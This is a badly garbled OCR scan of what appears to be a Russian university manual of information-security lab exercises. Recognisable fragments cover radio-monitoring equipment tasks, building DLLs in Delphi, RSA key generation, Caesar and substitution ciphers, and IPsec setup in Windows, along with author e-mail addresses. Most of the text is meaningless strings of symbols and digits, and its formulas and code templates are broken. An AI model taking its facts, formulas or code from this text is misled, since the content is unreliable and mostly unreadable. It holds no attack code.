3.13. 2% $ $ #
3.14. * ' % 6 I - " $
- 1
- I# % 3 :
- % # $ = ..
- % #/ $/ % 3 Ly $
I
- $ % $ % % 3 Ly
/ .
* I/ % / - # $ I %
23 l- 1 % %"’ # I-
23 # $ %1 , H# 1% "* /
" 6 % % # $ $2 .
3.15. * I % 1 % % % 3 23
$ 1% " $ " .. 3.7-3.12.

(5.6 (- ).

1

% 3



3.16. % % % 3 1% " % 3 "
"% ( ' 2 % )
% 3 , % ! # # ' % .
3.17. * % 3
3.18. % % # % # 2 $ % 3 .
3.19. % % # %1 # % 2 -
$ "LEVEL" $ % % "OVERLOAD" -
3 -2
3.20. ) 1% " .
3.21. 2% "LEVEL" , 1 B -
3.22.) ,$%$ 56 ' % , 1 A .
323.) % 1 % ! # $ % 3 , 2 -
$ $ $ # % % 3 .
3.24. % % # %1 # % 2 -
$ "LEVEL" $ % % "OVERLOAD" -
3 -2
3.25. ) 1% "
3.26. ) $%$ 56 ' % , 1 R .
3.27. * % 6 # I - "% - % 1 %3 %
" I - 1
- % 3 ;
- % # $ = ...
_ $ % %3 L o $ / I
- # $ / % / # $ Li $ / I
- $ #1/ $/ % 3 Ly $ / /I
— # / $ % % 3
# $ % 3 Ly i- Ly
$ # $ Ly 1 $ 3 -
$ % s L.* L,i—L <=0 $ $ % %2 $ -
) $ % 2 % 1Ly =10
3.28. ) 1% ' " ") 6 % 2 :
—* 1 # % 23 # $ 3 % 3
—* % 3 ( 3 ).
- $# %
3.29. / % 2 % % % % 3
# # % " H % "
3.30. * # % - - % 3 # $ -
*$ $ $ I I
7. :
1. / % ! $ 3 VNK-012GL?
2. , - , % - %% % % % ! $ 3
VNK-012GL.
3. % , 2 % |/ ?
4, % # 2 - 6,, $ , % - $ -
?
5. ! $ $ # SI-3100 $ $ ?
6. # # -012GL , - ?
7. $ # "% % -9000?
8. / % % / $ l, - ?
9. * % 6 1% !
10. # 1% - ! - ?
-43
+ , , <. "# 21 ! -
# $1 ' ! « - # # /$
%. ). -+ »()+ -+ ), +. , (. , gskornilov@kai.ru
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+ - 10.05.02+, % - ! # %% - / % /
% 1 -, 33 ; 10.03.01+, % - ! # !/ % -
3 1& , % -
, /'$ 3 , % -
n (
1.
$ $ 1$ 1/ / , - # %1 %
« » , - # «t% # -2» 1 -
&% , %- / ;o # $ # / -
! / I
2. * .
5 % # # %1 $ , % - % 3
5 # % / [$ 3
3. " - (
. ' % «
3.5», - # «+% # -2».
4. 2
5 % # - % % . % / 6 -
5 # $ '$% % .
5 + # 1% ! % - #$ # # $ # %
5 + # # $ ! «+% # -2».
5 3 # % % % 3
5 ,% # -#2 % / -
5"
+$2 %
1. 7% « *+) 3.5» B . 1%
http://www.bnti.ru/des.asp?itm=5298&tbl=04.01.01.04
2. / [8 . 1% . http://project-
mega.narod.ru/system/raznoe/zakladka.htm
6. " < )
% « » % %
/'$ . $ % $ 1 S %/
# % $ % , / % * 3 % -
$ - # %/ .
( «t% # -2» # % - ! & % $ , % -
- I % ! ! / ! , /
% . - 33 % 3 - - -
/ L , % - . 123 $ , % -
$ % % /& 2 -
' ! 1.
1 | (« » — ,«t% #  -2» — )
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/'$ / %
5 % %/ $ -30(- -2(- .
5 # # -50% -1% .
5 * %1l $ $ —-200(- .
5 $ # % $ —-10(- .
5 $ % %/ 11/ — 256.
5 $ 2% %/ % —4850.
5 3 # - # % / 30 — 1000(- % 50%
( «+% # -2»1 $ ! 23/ 1%/
$ ;
5 % - % 6,, 6 ! ;
5 - /1 / - % % % 3
" % . 123/ - 1/
5 $ % 3 . ' ;
5 % - ! $ $ / / %% -/
* (' % , # % , !
CL)
5 % - ! $ c / %% -/ ;
5 % - ! , # 23/ -
, $ ;
5 % - ! , # 23/ $ $ + -
5 % - $ $ |/ ' ;
5 % - ! $ $ % - $ % ' %
* # ! !
2% ! , % /
2% ) 7+ ! # « » %
%% 7% ! -2 «, » $
% % # / (
$ «* » | # .
% ! % ?+ 11 $ Y YY, ! $23
/ . % - 2% $ % , 1%
«1% » « », 2% ! ,
—*+ )K; ) ) 01 2-1 1 1% | .
2% .
4.2. 1% ! 3 #
7%
) 1% «* + » ( )
! 1% *0% # *
) 6 #
+:0)
)-?)
2 , 1 % # % , % 2
23/ ?+ %
M N N
% )loos
- 1 1% 3 % 1 23
2 ?+ .
*%$ 1 % 1 6 2
« 1 ».
*# 3 1% ! % % (!
1).
1 / 0...7 '
% 0..20 (6 3 % . ( ») 1%
/ 2% . % # $
6 % / $ % ! ,
# 1% !
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%1
%%

3

# %
102,9 (-

$

%

1$ %

4 1%

# %

%

3%

%

%

»,



*%$ : ! % % % % $ -
' - %% 1
4.3. 1% ! 3 # *+ > + -
0 )+ 1'$ % $ ¥ # $ ). ?2)K; ,+:0 -
NK; I % I, .
) 1% «1% » # % % 2.) 6 %2 1% -
, % *+ + 1%
%0*+2%"# 9
* / 1% ! — K » - $
(30...2000(- ).* . " ! '$ I %
N MN
ab
3 +:0)+4 1% 1% %
+:0 )+
* ) +:0 4 » # ! % .
* % 11/ 2% |/ # % 2
1 % «* » ! 1% * ! I, % 1%
23 % ' $ % .
$ 1% I, , # 6 1% «! »
3 1% # % I, %
* %% # ! $
) 1% « 1% » «  F+> » «* » %% -
% $ 1 I # '$ I, % L* 6
$ .
* # % $ % ( %% # ). 6% $
I # «&* o — %% %/ $
$ 1% I, , ! # .
4.4.* # ! «t% # -2» | 2% 1 -
% ' Enter. % 6 % 2, % I/ % # -
%
3 # 2% |/ / , . # -
$ # (%. ' 4.3).) 1% «1% » *+ I
GD- GSM DECT.
3 # 2% / / , , !/ 3/
% 1% (% $ ).
3 # , / / 1% % -
$ ). # .
4.5, # ! «t% # -2» % % % . 3 -
# 32 % 7% « *+) » %1 .
2 $ (%. ' 3.3).)! 1 $ $2
7% % %1 # ! $ , $
1% «)! $ ». 6 1% « + «1% » «)! $ »
N N M
! 1% *00 # *
N MN
%
1% ) $ % 3#2 «* + » # -
! -, / /I, % ' , -
% ' . 1% <+ ». / % 2 1%
« . ».
4.6. # % « » 2 , % # -# -
2 %/ . 3 # ! !
% 3#2 / 1 «1% »$ / 1% *. .+% -
# |
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7.

1. *$ #

2. # #
3.

4, $

5. * $ #

6. 3 %
7. 1/ #

0

+

»

i_trubin@mail.ru

%1
1%

%

%

- % 3
% . « »?
?
/ .
- % 3 ?
«+0 # -2».
_43
" «
$ , alkor47@yandex.ru, !
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"\5#0% #*)* 10.05.03

# + %5#+!1%8 &)2+"% 1+ *9
%0*+ %*#2# +0%!!/1 #*)
: & (
+ :10.05.03+, % - ! # % / %
, : # % ! /
n ( ( 7
1.
5 1 # %% ! ¢, ) 2%
% $ % %2 I (DLL).
5 # % 3 1 - #
2. * ,
5 %# # # %1 % / % %% : $ 3
! / 1 ! % .
5 # % %% ! %% , %3 %/ % $
% % Il (bbL) 1 , # 23]/ 6 %%
3. " - (
# #/ 8
4. 2
| # Delphi - , -2, 1 $ 232 !
! 1 -#2 | 1 ! % !
I .1(30 , % ).
2% # l2 %% % $ 2% %2 1 (DDL).
L # 1 , # 23 2 DDL. .! 1 % 1
I $ # # # * # 1
# 23 13
* 1— ]
0 m
1 * % % 3#2 - + 2%$23 ++ .
23 —;0??
5"
51 +
$ ! ! # # -
, - ! % .
) % - «=», - (- ) «+»
- ' ( ) KE», K<B», K>», KM, K>=», K<=»,
Delphi ! % % $ - - .
/ 1/ 2 3
* 2— , - ! %
13 ) $
AnsiLowerCas(S) ! S % 2 $
AnsiUpperCas(S) $ ! S % 2
Conca(S1, S2, ..., S| - S1, 82, ...,Sn
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Copy(S, Ind, N) S N % , 3 - Ind
Length(S) 3 S
LowerCas(S) ! S % 2 $
% - S, $ / 1-
Pos(Substr, S) Substr
StringOfCha(Ch, N) , 32 N % ch.
UpperCas(S) $ ! S % 2
* 3- - ! %
13 ) $
Delete(S, Ind, N N % S $ - Ind
Inser(S1 S, Ind) S1 S $ - Ind
* $ $ X S.* $ ;
%1 # , % X:m:n:
m — 132 ' , 23
Str(X, S) % # $ >
n- $ % ! $ 6 % % %
# % $ ; — 3 $ )
5.2.
* - . , %% %1 & # # %% -
I % L %$ % % I (Dynamic Link Library -DLL),
% # # I 1/ , 3 6 % %
/ ! .
%$ % % I ! % % # Windows
"% DLL, % # # $ % 1 % %
%$ % I %
DLL-!! 2 % # 3 - % Windows
% %% , 6 % 11 % # # # .
% $ I - , - , ! Delphi / %/
%% , 12 % # '# I % . % 1# %,
I # / % % , % I/ % # # /
I . 12 % # % 1# I 1
%$ % % I 2 % ! 1 # -
% #1 %% .
DLL - 3% $ / %$ % %
I % 232 :
library <% !! > {? # 3 % 1Y
% % , , % |/ I }
uses
ShareMem, { #  ShareMem 1 I # % % % ,
% uses I ,
1 , #23% 6 !! }
SysUtils, {! $ I 2% #/ - }
Classes, { # 1 1& /
1& # %/ Delphi}
<% % 1>in'<% , 1>.pas',{ # # }
<% % k>in'<% , k>.pas;{ # # }
exports
<% %% 1>index< $ 1>,
<% %% 2>index< $ 2>



name <% %% 2 6 >

<% %% i>index< $ i >

<% %% i 6 > resident,
<% %% i+1>index < $ i+1>,
<% %% n>< $ n>;
begin
end.
, 13 I y o, % 2 '$ % % 6 % -
, $ % & 2 1 %% , ! 6 # ( -
# # 1 % ), $ % «» | StdCall, % ,
function Ravn(a, b: real): real; stdcall;
1& - , - % % StdCall $ , -
# / 1 , %% / / / %%
. Exports 2% ! - , - , 1 6 #
DLL-!! 1 .
% $ I % L# 1& , . % , .-
vy - , 6 % , 6 # I %1 # -
DLL- . DLL-!! , % - #
2% ! / 6
1) ! , # % % - ! % $ -
v e "% DLL;
2), % %% / % , 13/ I % -
, - $ %% I .
, -1 [ # # , - # 6 -
I % # 23 :
1) ! # % File|[New|Other. "% New ltems New -
F# 8 #2 DLL Wizard 1 # . # Delphi
DLL-!! :
library Projectl;
uses SysUtils, Classes;
begin end.
2) # Uses % % % # ShareMem, - $ -
# % % # , 1 I # 23% 6 ;
3) 2% # Uses Exports, % $ # % -
- , - 6 . ! %$ B %% %1 #
% $ % 6 , 23 , , % % ,  $
/ '$ 2% % / % %% ! % #
1/
- 23 $ % 1 # 2 , ! -
DLL-!! 2 % # ;
4) | # '$ % - ! % % ( ' % DPR),
6 % % , % $ % ! .
%% / % , 13/ %% I3
I % # 23 :
1) ' # % File|New|Unit. # Delphi % ;
2) 2% # , 2 $ # % 1& , - 2 $ # -
- , - , ! # stdcall 1& 1-
%% ;
3) | # % # '$ % %, ! Uses,
I , 6% % , % $ % % ;
4) # 1-3 I % .
* % - '$ ! $ , DLL-!!
% %, % ! / % DLL.
! 1 % I , % # %
1 (% 1 # ) % / ., % C:\WINNT;

C:\WINNT\System32; C:\WINNT\system; C:\Program BlBorland\Delphi7\Bin; C:\Program Files\ Bor-
land\Delphi7\Projects;

189



# DLL- . I'$ -1 1 - -

% , - % % $ 2% % Il % Y % # -2 %-
%% I % / ! :
1) %3#2 % external ( $ % ;
2) $2 # % , - LoadLibrary GetProcAddress (% $ % ).
) ! I % $ % . 6% $ /
%% I/ % - - ' "2 1 -
2 % % % $ % I :
procedure € - > ( % % / ); stdcall; external¢
% ! .DLL ¢;
function <% , - > ( % % / ): < # >; stdcall; ex-
ternal¢ % _!! .DLLC;
* 6 - - %1 # # . ! % -
%% .
6. "
1. $ 1 , % 3 % ! !
. 6% - ! , % 2 %% .
2. * %% % ! 2% % $ % %2 I
3. 1 % % # % '% |, - . ! ! .
4. 8 / 1 ! % . % # % #
! %% DLL. 6
! %
7.
1. $% # ', %% $ % 25% ?
2. %1 3 # ! / # / % ?
0 -2%
+ , , <. D)< « - ! % %.
, . L. ? 0. . ( » (. 1 ), , # : $ ,
afleonid@yandex; $ , buser@bk.ruf ) $ , algorin. al-

goral@mail.ru
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: % : $

+ : 10.05.03+, % - ! # % / %
10.03.01+, % - ! #

, : 3 % 3 , % -

T A Y / . 231 #

o
=S
H*
©¥
H+
P

)]

# wH2
%%  S1144 ( ! ).

&)

, % % % . 1 # !

, « | », 1 , % # %

, % % 4000 % $ , % :

+O<ZRa** -

< vj-d-* dRdvred* Rd*%z dR* ZsAnwZ d; d*+ Z n-s* zd- nRzd+ n> RZ*sZZ - s
Ud* n<zZ! d RRZ* Rd* nsf ZsdRZn-j* dRdvred-Z* s+ z- d

YU %
1. ' # , % , « 1 » %
% % % 1 .
2. # / 13 — 22
3 # / 13
4. * #% # # ) I #
% % % % 1 % 2 13 $
5"
9, % # I %/ ! % 1 / / %
1 oo / , % 2% % % % ! . !
2 $ % . 2% -6 / %
9 ! /I, $ 23 ! # / %1/
% . $ ! % 2 - 1 $# %
13 -, %23/ 2% ;! $# 1 1 / , % - .
% $ %1 % 1% ! , % - : % vy
% , #2 . % $ %1 % , 3%
, %-2 #% ,3$ % 1& , % . # , 1 ,
/ & 13 #2 / %
/ 13 9, % $ %1 1& %
¢, ) % , $ % # $ 2% . % % 1 | %
& " 2 ¢, ) . # -6 % # $
, % - # 7 ! 11 ) % ,
. $ $/ 1 ! -, ! #
13 , 7 %% % , , 23 1/ $ / , %
#.,% ', 1 , %1 % ',
3 % $ % # % 1
% 1& 2
% $ 1& % ', % # #
, 2 , 13 ( % I$ 1 % )
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% # - . , - % , # % % # ,
/ % -1 , %, , % %/ / - -
% , # 2 %' 2 % 2 . % $ -
% % 1% % $
, % 2! ! % 1 $ / % , -
$23/ ! 6 $ / % % % | %
, , % I # % - %$ % - % 1 %
/ I % I $# 1, % 1 2 ! .-
% % % % # | . ($ ) | % , % %1
I # .
2 $ ! % $ , 6 % - % ( )!
!/ % , / 6 ! %1 ' # % % %
$ ! , $ %1 1 .,% ! % « % »,
% # #2 % 3 $ # .9 ! ,
% $% % 1 . %3 # , Na $ -
! , $#2 $ 2 / % %
1 8 #.,% / # # % # % -
% $ 6 $ , $ 2 ! I %
$ Na— $ % $ , % ., % %
* 3 %l # *—6 %1 # %/ % %* % 3-
# 6 % 1 Na, &% N 13 $ # %/ % % LF ,
$ % 1 %* 3 $ , %1 # ', %*. -
$ Na % $ % %3 , $/ . /
/ %1 # 1 1 * % ! $ -
%1 # # % #
$ $ ! ! 2 / , %1 -
$# -6 $ $ - %/ K- %%. 3% $
6 $ K) 6 % , , 1 D) % ! % # # % (K- %%
# % . 1D-%% ( %% )-6 $ $/ %
(- %% ( % I %% % )-$ $ % , (3) — %%
( %% )-% [ % #/ -$ 18 / 2 $ % / -
% , L $ , % .
$ # $/ % /3% -
. , $ $/ % % 6 -
% $ % % / % , 3 -
# % % $ %1 # $# 11 ' $ -
% ! . " # 11 0.7 % % 1
1& %/ ' 350000 % # %1 $ # ,$ % $% ! 30 -
40% % #/ ! % 1 . $2 , % -2 %1 $#
% $ / ! , % , % # I %%
*H O, % . $ , % % , #
I - I %% , %% $ $ $ % ) 6
I - $% 1& % %1 - # 23 ! ( .1-2).
1. # %% / 7 % #/ % # , % -
2. * 4 % I - , / %% $ / I %% -
- I# 3% / % , 2 % (, ., ,+).
3.. # (2) () , % , 2 2, -
(s 0% R % % $ -
4, * I- % I - 2 % , / %% / 4 $ -
- 2 -6 % (>, K) ! .
5)% 5 % , I - % - % % 10x10. % #
$ 6 % - I %% ( % Y( ).
6. / % (,, , )% % # $ (% ) I -
# , , % () %1 , 6 $ ! - # I -
%% ( ), %1 (. ).
7. % # $ I- - % >) ¢ 3
, - % « »), , I %% (>)- # % ).
8. / #/ $ I # . , I %% () )-
% 0).
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»

!
%%
' %%

K=

%
# 2
s1144

$
- 2.

%1
, %3

$23

d=

=

by,

31

=1

b =
b,j’ :. pd

(b,j >O!j :m), KZ =1

$ %

Excel Word.*
input.txt,
% 3 ,
%
, %
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%

g, > 0j = 1,3
$ #/ I %%
1 # % 3#2 2!
$# , % I - %
%% ! $2 ,$% $
# ' $
! / ,
%
% « % », « », & »
/' % #
%% s1144 $
, 1 %
tab.txt. %
1- I - , 23
I - % # 3%



, % 2 # L I/ % #
s1144.cpp Visual Studio , % # % % #
2. * 2 $ %% $ &% , % # 2
# 2 %1/ , % $23/ $ % !
$# 1 / 13
# %3 % 1 # %/ . 8
123 1 . 6 %1 #
$ $ '$ % $ %
). $ ( %3#2 %%
% : 100 % , 50 %, 25 % <10 %.. #
13 %,
, $% $ .
$ ! / , %/ $ %
/ ! 2 - ( $% ).) 6
$
3. 13 , %1 # 2 13
, 23 #,1% $ % 1&7% %
/ ! 2 . 1&% , 1
4000 )s $ ' $ . ' 6,,
# I %% $ $ % I % .
! % I - I %% , , % 2 %% s1144
NK - % * i< )s #
% - % , % / $ / / .
-, % # - , % % % !
s1144 1 6 % 23 % ' % . * 1% ,
' # % # % % ) $ $
3 , # / , ,
) % 2 # 3 /I 2 ,
! % # ' - %1l $ ' ,
$# $ % 1 % '
$ #2 , $ . /
1 # %% s1144 1/ % %
$ # # # #
/ 6 / 6.2 6.3
4. | % # I % $
%% s1144 2 %% %
5. 1 $ # - # ] , %
% , $
*! I - ., %/
#
7.
1. ', , 2%
2. %', $ 2
3. # 2
4. $ % 2 " ?
5. , ?
6. $ % ! ?
7. K- %% ?
8. $ ?
9. % # %3#2 | %% :
(. o)
(>.K)
(.
)
0)
(.)
-4%
+ , , <. ) !
3 , % - y %, -

kotov@corp.nstu.ru.
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%%
'$
$
%1

6 %

!
#
(0,0576. 0,0662
s1144 4
- . %

' *
y .

1&

# %/

, %

. 1
1 %,$
(
! %
% $ !
MS Excel ( #
I 1

%

'
% %

%%

%
%

tab.txt. ' (

output.txt. !

tab.txt

$#
%1 $/

/
output.txt.

/'$



+ : 10.05.03+, % - ! # % / %
10.03.01+, % - ! #
, , $ % 3 , % -
=3 6 . RSA
1.
+$ ", % 2% % % ', RSA.
2. % ,
5 % # $# , $ ! %% $ % % 2% % .
5 # % % # ', % 25 % .
3. - (
5 # % #2 ,
5 %% 1 _3.exe ( ! ).
4. 2 :
5 # 1% 2% % ', % % % 2% % .
5 ', # % 25 , % ', ,O# %
2% .
5 # $ 2$ <100 ', # ,O#
5 * #% # # ;% I # %
% % % 1 % 2 13 $
5"
* %, % 2% % - 704 20 !
- % , / %% $/ ',
# 2 ', ' 1 2% . # . -
# 2% % %1 !
% % ,$ % % # ', % / b % 2
$ I # / % % 2% % # 2 2 2%
' («!3 », « »), (« », « ») —
', , % - , $% / %1 #
1% % 25% , «$ » ]
% % 23% .) # $ , « » « #
I», % 2% # . # % ', 13 %1
) # O# ! # $ % ' + ', % « $1% »,
Y, % « % » 2% .
/I % 1 - , 1 9 % 1 #
', % ! % ,$! ! 6 "2 % % $ $
/ 3 %1 % / 8 . +% % , # # , % ',
2 % I % $ # "% . 2% %
« % |/ 8 », % % ' ( % % $ "% #
1& % .) - % " % ',
- $ # "% 9 ! % /
% 7,
', % 2% % ! 9 $ 804/ 20
% ! % ,% (Rivest, Shamir, Adleman). $ , -
. - $ % 1 ) %% L% %
2 $ , # - %/ ! % % 2 $
% 23 13/ % -
* % RSA 2% 23% .
1. 12 L # / $ p g N=p'g.
N $ 13 % ( % )$ p q/
2. * # M=(p-1)Rq-1). ! I # $ - $ d, 1 I #
% % $ % M
3. $ e (e'd) modM = 1.
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4. % # (N - 2$ ,d- ( ) 2% .

5. * # S-% , % ', %/ / . ', / I/ %
# ! S$S' modN, Y : =SS modN.
6. ! % I/ % 1<&N.
) # 2% RSA P N «» #2
2% , «d»-— 2% . 1 % / % % $ / / $ -
! $ 2% $ s . 2% e Jd :
% # % % ! , 1 %% $ (e, 9 -
% 2$% . # , $SSmodN = $®*modN =S modN. .. %1 ', #
28 e ', # - d
% RSA -$ , ! # $ % , $% ,% '$ -
$ % . 1 % ', 2 , , % # 13 L+ 3 %l
% # $ % % 1 # , $% % "% , % -
$ , # ! # 2! $ 2 , % ! V¥ Y -
% ! ! ( % ! 6 18 #
- ), 1 ! $ S) #
6,3 $%!1 N % % # % % - $ , % ! #
13 %1 ! ,O# % 3#2 % RSA.
1 ! ', % %1 2%% , %1 # « % »
% 23 % 2 % . # Y % 23 % -
- % ,$% # ', %% $ % 25 % $ % 300 $/
25 %1 ! # . % 1 # , % ', -
% 2% % 1 . ,OH# % % RSA 1 ,
$% % $ % 1 % / 13 %
Y , # 2 % .
6. " < )
1. + # % ! ! %% % «1 3» % -
, , /% % 2 I # # 2 ! -
# 1$/ , 1% / # 2% « » % 1% # % .
6 $ % 2 3 c «2% »- - 2% « -
», < # » — ! 2% 1 - 2% « »
% / ! 2% ( « », «f »).
* G # $ # !, # <& # » «-» Clear
. % 1% # , «+» « # »
I # ! .
) 23 % ' «2% » # N, 1 $ , I # d
23 ( % ).)1 # % , $ ! 2% !
/ , , $% 23 %
1% L 25 %2 # «f », % %1 |'# #
, ! # .
* 6 I/ % 1% # 2% , # 1 , -
, # , 2% «e» «N» @1 # ),
% 1 % «+» & # » 1 2 [ 2% .
* # # # 23 % 1 2% % , #
< # », 23 1% 23 % , -
« » | % « 2%  ».
* - 23 1% % %1 # Y, 2
/ / , % - /| 6 / , %/
1) % # ,
2) $/ % , / I % ,
3) $/ N ! , / I %
/ , % - 2!1% / [/ 1& % ! 20 %
1 & , 1 , % - %
1 '/ / /
/ , % - 1/ , $ / OO# /
% 1 2! , 1 , % 1 % & % 1
/ .. % / $/ # / $ 2 , % -2 «
21 » ( « 1! », 6 I % ).
* ] ! < # »', / , % - 3 -
1 % ,OH# ! / % , # $ -
! ', , # - % % -
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# |/ 232
% 1# Y
2% #
. 1% ", %
2. ., %
%% 1 3.exe
3. 1
# ', 1
7.
1. $% 2%
2. , % -
3. , % $
4, !
% 1 3.exe.
5. $ 1
6. , % 2 2%
7. 3 ",
8. 1
9. 4 $ )
10. $ 2
11 # «K »
% [ 2%
12. ", 13
', . %1
13. 1 ,
14. $ 2
0
+
. 3
tov@corp.nstu.ru
+
I'$ , % -
, , $
1.
% #
2. *
5 1 # . % #
$ # /
5 1 # % #
# $ #
3. "
4, 2
* %%
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! 2 $ , 1 % & . -
"% 2% 14# & .
% ' , / # ',
13 % I/ % !
# I/ % $ -
2 %% %
. # , - #H , % 2% -
6 #
% ', % 2% % %% $/ %
9 ! 3/ % .
. ) ’ - ; ) 1% .
% $ % 1 % $ %, # -
% RSA.
% RSA, / % , - %
(", ) %  RSA.
# i 3 #
23 2 ed=1(mod M) %
%
« » 2% 1 2% )
1 ,O# 13 .
# « » H# RSA, 'H
# .
% % RSA 1 %
% %
-2%
’ |< . ) ! / $ -
] % - ’ ’ --% ’ - ’ O $ ’ kO'
. 10.05.03+, % - ! # % / %
! / , % - |/ %
% 3 , % -
=93 5 -
. % ', % S # $ :
1 / Il
# 3 % # % #
' $ y .
# % # 5 % # %
/ ' $ L
- (
: Microsoft Visual Studio 2017.
# < % %



y 2$
T [< [0:10]
2 #' ! , [11;20]
3 #' ! , [21:30]
2 "% [31.40]
5 <. ~ % [41,50]
6 | # 1 , [51.60]
7 | # % # , [61.:70]
8 | # % # | , [71:80]
9 I<. R , [-10:0]
0 |<, N , [20:-11]
11 R , [30:21]
1 N , [-20:31]
13 - % L# ! , [-50:-41]
%% # $ ", s Y, %
<
5"
9, -6 % ', . % 6% /
% 2 6% % ', % % .8% % -
% I # # % . % . % %! 6/ $
. $2 $ Y ;
1- ’ Iy (Iy % )_Iy ] % 1
% % 'y % 2% % 1
2. $ ', /1 ) 28 % '3 %-
%1 '# % % #/ %1/ %
3. %% ', % % , - 2
4. * | ', #/ ', % 1 -
% % # % ',
=$
9, % $ L% L )-6 %-
ly ’ 2 7 % % - ly ’
1 | 3 | " -
% ', 2% % ! - ', $
% # 1 I- , ! # %
* % ', %
I -6 ', % , # , $ 7
* ', % - , ! % % !'>0 -6 $
! ’
9, I , % :
+/ , ‘ABCDEFGHIJKLMNOPQRSTUVWXZX
, % ZYXWVUTSRQPONMLKIJIHGFEDCA
=% 5
* ly 1 ! % ’ 3 ’ ’ -
s - (.1
1% ! ', <
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# 1% % , % (% 0), ,
', % 1 # , % % % # % :
y=(x+k) mod n
x=(y-k+n) mod n)
XxX-6 % Yy — % ', ;N —%3 # ,
k- 2% .
% ! % ., < %1 % , 13% n
9, # % 2$ k=3 «&# 1 376/ % [
/ ! , $2 ».
+/ , : Q? +L : ) *. ", < 9 AOK=>80 4
9, , ( Q? +L : ) *. "; < 9 AOK=>8014
9, $ % % 1 ! #
23 ! " , . K » « » 1 7
« », 1 «b», %37 ! 7 ! « », .9,
% D« # I 7% 3, - 1 2% &!'».
=$
9, # % % %/ / -
', .+ 2% %,$ ! ,
., % 2 # ! , %
9, # % WORD.
+/ , :ABCDEFGHIJKLMNOPQRSTUVWXX
, % WORDABCEFGHIJKLMNPQSTUXYZ
1 # # 23 % I % $ , #
% $ I 7% ' ! , $ 6 7 $
, , # % $ % ' % / , ! # 1
$
* - s ' I % ( « » 5 %
$ -2 ! .8 % Mi# 'l $
# - I %
2 3 |/ %
1. ', ;
2. / ;
3. !
% % # ', # / %
' (
) ", 2 # % % $
$/ ', 3 $ % %
%
', . ', % % .
* %% ', ; %1 !'# % $ $ #
%
* $ $ % % , |/ $/ '
# % .
! % . ', 1 " #
2%
! % ', .
" ; , n / %1 1'# % !
% % / % n2 % 13 '
8 % , 23 1 3
# $ #/ % / #
% , ', , , B #2 % % , | #
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' $ ! , $
/ / 1 / 6%, $ % '
', ! % $ #2 , %1 14# 3
', ! $ 1 % 2 I %% % (!
% # % ) %% % $ , ', .
1 3 # #/ r, 1 / ;!
$ 2 $ % % % : % , 3/ %
! < » % ! , %« », «#>» % $
$ . % % % , %1 $ %
% 2 % # / .
1% / % 2 % # ! (% $/ !
1% $ ), , # m(@m- %%), $ % # ! % ,$
/ / , .8 |/ 2 $
$ % .
+ $7 $ /1 1 nm %1/ m- %% $ /
/ / T=tt,.. .4, / ! s {al, &, ..., a} * 6 % % 2
3 m- %%
Lt. . 4 Bts... s ooy Emsitiomen. . 8.
L(@aias ... am)—$ m- %% &8;...am T, L-13 $ $
/ m- %%, $ I #/ LS L(aiza ... am)/L, m- %% %
$2 $/ /
6 # 2 $ $ 2 '1 % P (aiaz...am)
m- %% $ I % ( / $ %
).
13% $ $ ! - % 1 % 1 # 23 % I 0%
$ , # $ ', , % % $ 13
$ % Y ; 1 - , $ # % 1 100.
# 3 , # , /
) % , /I'$ % '$ ! " %1 # $3 .*6 %
71 $ ! 1 # % # | $/
6. "
1. +$# $ % , ! !
2. ,% # $ ! ! #% #
3. %% # ', < $ Y ]
L% < % |/ % ( ! L)
7.
1. Y
2. ' Y
3. Y %
4, Y I
5 Y < .
6. ' Y # %
7. % ', /
8. * % %
9. # '
10. $ %
11. ' $
0 -4%
+ , <. ( «
», . - , , % - ! ) ! . ,
, % - ! % #$ . ., nikishova.arina@volsu.ru
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. $

+ : 10.05.03+, % - ! # % / % ,
33 , % - % .
H |$
! $ $
IPsec MS Windows
1. :
+3$# % 1 P 3 , -
IPsec - % MS Windows, 1 I #
! , 1 2 %% / , %% - / ( % $
5/ ), 1'$ |/ 3 , % - 6,, 3 -
’ % -
2. * ,
5 # ! , 11 2 %% | %% -
( %% 3/ ) 1'$ 3 , % - ;
0 :
5 % ! , , 1 2 %% / %% -
/ ( %% 3/ ), I'$ / 3 , % -
6,, 3 , % -
3. " - ( :
5 - $! 9:= 205, 215, 403.
5 *( “% # % o 6 . ' i
- #/ - , %/
5
— krypt.exe;
- .exe.
4, 2
5 $ # 3 , % 3#2 -
IPsec - % Microsoft Windows 2008.
2 # IPSec, % % %
5.
IPSec ( 3 IP  Security) - IETF -
/, - # $ / % IP. 3 IPSec # VPN
(Virtual Private Network).
IPSec &% % $ #2 IPv6 —+ - 23 , -
' % 3 23 + - IPv4. IPSec 7 RFC 2401 2412.
* % %/ % ! % | # # %
6 % ISO/OSI % 1. % , IP-  # %1 $ # -
% # % % 3 3/ , # 6 % $ % % % 1-
33 #2 , 6,, #2 , - $ #2 1
1. # OSsl/ISO
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% %/ %% P % (1 ) # #

! / , $ , 23 , , % ' -
! IP 2 % % -y - IPSec, ! / -
'$ IP Security.
* IPSec! $ 2 % - # , , -
-2 $ /I, 3 , . - H#HO# $ $2 3 -
23 % % IPSec 2
5 - 0O )
5 | / (ESP);
5 1% ! : # ;
5 (-- )! (SA);
5 2$% (IKE);
+ 6: ( (
/ ! IP- -, - % Security Architecture
for the Internet Protocol. 23 % 2.8 , 1
I'$ $ ( ,- 23 — Authentication
Header, AH) , - # ( 23 3 1% — Encapsulating
Security payload, ESP), 1 %/ % 3 % 23% .) ! % [/ -
% 2 % ' , - $ -
D)o L #H % % % - (Domain of Interpretation,
DOIl), 23 , ) ! /.1 3 ! %l 1 % I #/
,
.2 6 % / ! IP-
1 / , % -/ / % 1, $
3 , , 1 # , # / $ # # $
1'$ % ., % , I % # $/ , $ %
6 / % .
IPSec 1 , % - D # $ $2 - #
# S # % ! , % -
, -2 IP %% ! # # %% —
$ - # # anti-reply % , 9% 3#2 -
$ ! P % .
8 2 # % / '3 !
, , Authentication Header (AH) Encapsulating Security Payload (ESP), % 3#2 - -
$ % 2%% . 1 % %/ IPSec % /
# 2 I % ! .
%/ % , %' 2 # % % -
% % % Internet, % 2 %/ % ! 3
, ¥ I $ $ , - # IPSec -
/ $ % ( , % $ # , - #O#
'$ % ,  # % # 2 # ! - ,
$ % # ', # )1 % % #
% , 23 - #% % 6 % %%, 1 b # -
b - % - .8 $ %1l # ! $ ! -
% ! $ - ) % ,  $ # % -
I # I/ % $ ! %
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! % % $ 2 I $ I # .
+ # 6/ % % 3 , IPSec % -

2% I $# 2 # , $ ! .
% $ % # % 2 , 32 oo
% # ! % %/ % / % , 1 -
%/ 1323% % .+ % % 1 I # 13 ! -
(Security Association, SA) % # # 6 % , % /2% .SA
! % ., % ! IPSec $ ! -
% ISAKMP, % 1 # % .
# 18 % IPSec, % | - 1 .
